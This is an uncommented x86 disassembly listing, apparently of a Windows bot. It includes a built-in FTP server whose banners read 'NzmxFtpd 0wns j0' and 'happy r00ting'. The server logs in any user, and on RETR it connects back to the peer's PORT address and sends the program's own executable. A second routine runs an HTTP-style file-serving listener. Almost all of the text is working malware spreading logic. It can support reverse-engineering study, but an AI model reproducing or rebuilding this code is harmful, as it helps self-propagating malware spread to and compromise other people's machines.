		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_4241E4	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_424218	; ioctlsocket
		mov	ax, word ptr ds:dword_43C83C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_424224	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4241E8	; bind
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------

loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		call	ds:dword_4241EC	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi

loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_42420C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8

loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4059BF
		cmp	edi, [ebp+var_C]
		jnz	short loc_4055BA
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4241F0	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059BF
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_405584
		lea	edx, [ebp+var_224]

loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574

loc_405584:				; CODE XREF: sub_4053D5+197j
					; sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]

loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax

loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------

loc_4055BA:				; CODE XREF: sub_4053D5+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	ds:dword_424204	; recv
		test	eax, eax
		jg	short loc_405621
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_405615
		lea	eax, [ebp+var_224]

loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------

loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]

loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB

loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]

loc_405615:				; CODE XREF: sub_4053D5+204j
					; sub_4053D5+218j
		push	edi
		call	ds:dword_424220	; closesocket
		jmp	loc_4059BF
; ---------------------------------------------------------------------------

loc_405621:				; CODE XREF: sub_4053D5+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]

loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi

loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------

loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------

loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172AE
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172AE
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------

loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	ds:dword_43C83C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172AE
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h

loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------

loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------

loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send

loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_4059BF:				; CODE XREF: sub_4053D5+160j
					; sub_4053D5+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------

loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax

loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4241E0	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_424214	; socket
		push	[ebp+arg_0]
		mov	ds:dword_43C838, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4241FC	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_424224	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_43C838
		call	ds:dword_42421C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	ds:dword_43C838
		call	ds:dword_424220	; closesocket
		call	ds:dword_424200	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	ds:off_424094
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h

loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	ds:dword_43C838
		call	ds:dword_424208	; send
		push	1
		call	ds:dword_424064	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi

loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	ds:dword_43C838
		call	ds:dword_424220	; closesocket
		call	ds:dword_424200	; WSACleanup
		push	1
		pop	eax

loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E6o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_43F668	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_43F6E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_4450CC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_43F694	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	ds:dword_43F690	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_43F704	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_43F650	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_43F560	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43F6FC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]

loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47

loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_43F680	; recv
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	ds:dword_43F700	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]

loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]

loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2

loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3

loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------

loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06

loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]

loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]

loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31

loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]

loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43F704	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------

loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	ds:dword_43F700	; closesocket

loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------

loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h

loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_254]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------

loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:dword_42409C	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_424098	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
